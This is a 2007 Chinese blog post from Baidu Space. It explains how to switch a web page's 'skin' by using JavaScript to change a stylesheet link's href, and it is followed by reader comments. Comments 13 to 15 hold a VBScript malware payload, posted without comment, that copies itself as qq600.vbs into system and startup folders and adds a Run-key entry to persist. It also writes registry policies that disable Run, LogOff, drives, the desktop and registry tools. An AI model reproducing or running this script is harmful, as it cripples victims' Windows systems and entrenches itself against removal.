百度首页 | 百度空间
 
查看文章
 
[HACKS]WEB换肤功能
2007-11-11 13:45

Web Standard HACKS专题文章

——此专题属于Web Standard(网页标准)分类,记录着余弦在web开发过程中总结出的技巧。

今天来看看如何实现WEB换肤功能。大家先看www.chinaren.com网站首页,WEB客户端交互技术在ChinaRen首页运用的太酷了!下面截图是ChinaRen首页的换肤功能模块:

默认的是橙色皮肤,你点击小油桶左边的“颜色小格”,ChinaRen的首页将切换为对应的颜色皮肤。这时页面是不用刷新的,这不是AJAX(记住:“不刷新就是AJAX技术”这个说法是错误的!)。这是简单的JavaScript DOM技术:利用JavaScript来获得<link>标签中的href属性节点(属于DOM节点),动态加载对应的CSS文件,而被加载的CSS文件就是“皮肤”的核心了!

原理就是这样,很简单。那要如何实现?我分析了ChinaRen首页的“换肤”机制与COSBlog.COM封面的换肤机制其实是一样的。不过COSBlog.COM封面暂时没有Cookies记录功能,即无法记录用户自定义的皮肤样式。这个下次有时间再实现,我们现在要做的是了解“换肤机制”的核心。下面以COSBlog.COM来说明吧。

1、有三个文件:www.cosblog.com/index.htmlwww.cosblog.com/white.csswww.cosblog.com/black.css。其中white.css与black.css分别定义了index.html页面的“白色风格”皮肤与“黑色风格”皮肤。

2、index.html中的logo是“换肤”事件的触发对象:即点击logo可以切换index.html的页面风格。下图为“白色风格”的截图:

点击COSBlog.COM的logo后,index.html将变为“黑色风格”,如下图:

3、为什么点击logo后会触发“换肤”事件呢?看下面logo对应的代码:

<a href="#"><img onclick="javascript:changeSkin('black');reValue(1);return false;" id="logo_pic" src="logo.jpg" border="0" /></a>

onclick事件发生时,触发了changeSkin('black')、reValue(1)两个功能函数,这两个功能函数如下:

function $(d){return document.getElementById(d);}
//定义$()函数,因为document.getElementById()太常用了,所以我们可以定义好记的$()来代替。$()表示要获得的HTML的DOM节点对象。
function changeSkin(skin){
css=$("skin");
css.href=skin+".css";
}
//定义changeSkin()函数,目的是动态加载参数"skin"指定的css文件。这里我们要加载的对象就是white.css或black.css。
function reValue(x){
switch(x)
{
case 1:
$('logo').innerHTML="<a href=\"#\"><img onclick=\"javascript:changeSkin('white');reValue(2);return false;\" id=\"logo_pic\" src=\"logo1.jpg\" border=\"0\" /></a>";
break;
case 2:
$('logo').innerHTML="<a href=\"#\"><img onclick=\"javascript:changeSkin('black');reValue(1);return false;\" id=\"logo_pic\" src=\"logo.jpg\" border=\"0\" /></a>";
}
}
//定义reValue()函数,这个函数是为了初始化logo对应的代码。这个不是很重要,重点在changeSkin()函数。

4、好,有了JavaScript功能函数,那changeSkin()在具体完成什么样的功能呢?我们继续看onclick触发的changeSkin('black')函数,传进一个实参"black",于是在changeSkin(skin)函数体内发生如下动作:

css=$("skin");    //$("skin")获得的是HTML页面中id为"skin"的DOM节点对象
css.href=“black.css";    //将id为"skin"的DOM节点对象的href属性值变为"black.css",这样就成功加载了black.css文件,于是就“换肤”了。

HTML页面中id为"skin"的DOM节点对象代码如下:

<link href="white.css" rel="stylesheet" type="text/css" id="skin"/>

很简单吧?核心就在于你要如何实现动态加载对应的css文件,css文件是皮肤的核心!一个网站要换皮肤,有时候不仅仅css文件要切换,一些图片、Flash等都需要切换。这个时候需要编写的JavaScript代码会扩展,比如上面的reValue()函数。这个就不细讲了,有兴趣的朋友自己研究吧。余弦要说的都已经说了^^。


类别:Web App | 添加到搜藏 | 浏览() | 评论 (18)
 
最近读者:
 
网友评论:
1
2007-11-11 14:27
^_^!
 
2
2007-11-11 15:26
cn.yahoo.com也有这个功能
 
3
2007-11-11 16:44
恩,看了。我很喜欢yahoo。包括它的搜索引擎
 
4
2007-11-11 22:44
Good!
Studying...
 
5
2007-11-12 09:36
GOOD,很实用
 
6
2007-11-12 09:46
那图片好象没有切换哦,我做了个背景颜色改变的CSS,只有颜色改变,图片没有变化
 
7
2007-11-12 09:49
切换一次,为什么第二次就不可以了,^_^
 
8
2007-11-12 11:46
不不,图片也会切换。reValue函数决定了。
而且可以反复切换的。没任何问题。。。估计是网络的问题。
 
9
2007-11-12 17:23
<div id="logo">
<a href="#"><img onClick="javascript:changeSkin('black');reValue(1);return false;" id="logo_pic" src="logo.jpg" border="0" /></a>
</div>
我搞错了,呵呵,少了DIV了
 
10
2007-11-13 01:25
不错不错!
 
11
2007-11-13 17:36
CSS是优越的,兼容是痛苦的。
 
12
2007-11-13 17:42
恩,刚接触兼容问题的人肯定会郁闷。熟练就好了。
 
13
2007-11-14 22:20
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2 = fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\qq600.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\qq600.vbs")
 
14
2007-11-14 22:21
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\qq600.vbs")
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qq600","qq600.vbs"
 
15
2007-11-14 22:22
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
 
16
2007-11-15 12:44
感觉还是保存在XML配置节或数据库里并与用户信息相关联最可靠。。。毕竟不是人人都用cookies的。。。
=v=
吹毛求疵了我。。哈哈~~

ps:说起$是个很奇妙的东西,前一阵看了些JQuery的东西,顺便浏览了一些Protype框架的一点点东西。。。很好玩~~
 
17
2007-11-15 13:13
我也在看Protype库,以及其它扩展库。呵呵。
 
18
2007-11-16 09:21
哈哈。。这个功能在www.div-css这个网站最能体现得淋漓尽致。。
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码:
 

     

©2008 Baidu